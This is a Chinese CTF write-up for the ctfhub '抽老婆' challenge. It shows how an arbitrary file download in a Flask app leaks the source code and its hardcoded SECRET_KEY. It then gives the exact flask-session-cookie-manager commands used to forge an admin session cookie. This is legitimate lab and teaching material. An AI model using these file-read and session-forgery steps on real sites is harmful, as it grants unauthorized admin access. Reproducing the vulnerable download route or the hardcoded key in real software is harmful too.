ctfhub 菜鸟杯 抽老婆 超详细 复现
一进来发现可以抽老婆,下面还有个下载按钮,有意思还可以吧,把老婆抱回家
然后点击下载,发现这个似乎是个任意文件下载,OK了这个时候可以看看debug里面有啥
在里面发现source文件在/app/app.py里面,
用之前发现的任意文件下载下载下来
然后查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | # Author :g4_simon from flask import * import os import random from flag import flag #初始化全局变量 app = Flask(__name__) app.config[ 'SECRET_KEY' ] = 'tanji_is_A_boy_Yooooooooooooooooooooo!' @app .route( '/' , methods = [ 'GET' ]) def index(): return render_template( 'index.html' ) @app .route( '/getwifi' , methods = [ 'GET' ]) def getwifi(): session[ 'isadmin' ] = False wifi = random.choice(os.listdir( 'static/img' )) session[ 'current_wifi' ] = wifi return render_template( 'getwifi.html' ,wifi = wifi) @app .route( '/download' , methods = [ 'GET' ]) def source(): filename = request.args.get( 'file' ) if 'flag' in filename: return jsonify({ "msg" : "你想干什么?" }) else : return send_file( 'static/img/' + filename,as_attachment = True ) @app .route( '/secret_path_U_never_know' ,methods = [ 'GET' ]) def getflag(): if session[ 'isadmin' ]: return jsonify({ "msg" :flag}) else : return jsonify({ "msg" : "你怎么知道这个路径的?不过还好我有身份验证" }) if __name__ = = '__main__' : app.run(host = '0.0.0.0' ,port = 80 ,debug = True ) |
看着两个地方可以知道这是一个flask的session认证题目,只需要生成一个正确的session就OK
session安全问题
flask框架的session是存储在客户端的,那么就需要解决session是否会被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改,在我上面写的例子就定义有密钥。
1 | app.config[ 'SECRET_KEY' ] = 'tanji_is_A_boy_Yooooooooooooooooooooo!' |
正常情况下这个密钥是不会给你看的。但是光有数据签名,安全性还是不够的,session没有做任何加密处理,是用户可见的,我们还是可以得到修改session里的内容,如果我们还得到了用于签名的密钥,那么攻击者就可以进行session伪造。那么接下来就通过我本地起的flask服务来伪造admin进行登录
flask脚本链接:https://github.com/noraj/flask-session-cookie-manager
注意::强烈建议在kali里面运行,Windows里面能运行就能运行不能运行就会有各种奇奇怪怪的问题
具体原理可以看下这个师傅的http://t.csdn.cn/LiXVb
1 2 3 4 5 6 7 8 9 10 | #初始化全局变量 app = Flask(__name__) app.config[ 'SECRET_KEY' ] = 'tanji_is_A_boy_Yooooooooooooooooooooo!' app.route( '/secret_path_U_never_know' ,methods = [ 'GET' ]) def getflag(): if session[ 'isadmin' ]: return jsonify({ "msg" :flag}) else : return jsonify({ "msg" : "你怎么知道这个路径的?不过还好我有身份验证" }) |
解密:找到秘钥后,去解密,解密格式如下:
1 | python3 flask_session_cookie_manager3.py decode - c 'eyJjdXJyZW50X3dpZmkiOiI5YmI1MWM5MDE2MGMwMjNlNTM5YmFmYzBjNmZmODhiMi5qcGciLCJpc2FkbWluIjpmYWxzZX0.Y3SRYg.TGWZpdsROvIU-Ayzfw49qVQj9s4' - s 'tanji_is_A_boy_Yooooooooooooooooooooo!' |
然后就得到密文了
加密:得到密文后发现isadmin这里是false,所以吧false改为ture,原理这里再看源代码
1 2 3 4 | if session[ 'isadmin' ]: #如果是真isadmin,就可以拿到flag,如果假flag就输出下面的 return jsonify({ "msg" :flag}) else : return jsonify({ "msg" : "你怎么知道这个路径的?不过还好我有身份验证" }) |
加密格式:
1 | python3 flask_session_cookie_manager3.py encode - s 'tanji_is_A_boy_Yooooooooooooooooooooo!' - t "{'current_wifi': '9bb51c90160c023e539bafc0c6ff88b2.jpg', 'isadmin': True}" |
特别注意后面需要"双引号"单引号不能成功
生成密文:
最后把密文添加到cookie就可以成功获取flag了
补充说明:
这样的字符是Unicode 编码,这一串字符解码后就是“你怎么知道这个路径的?不过还好我有身份验证”
1 |
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!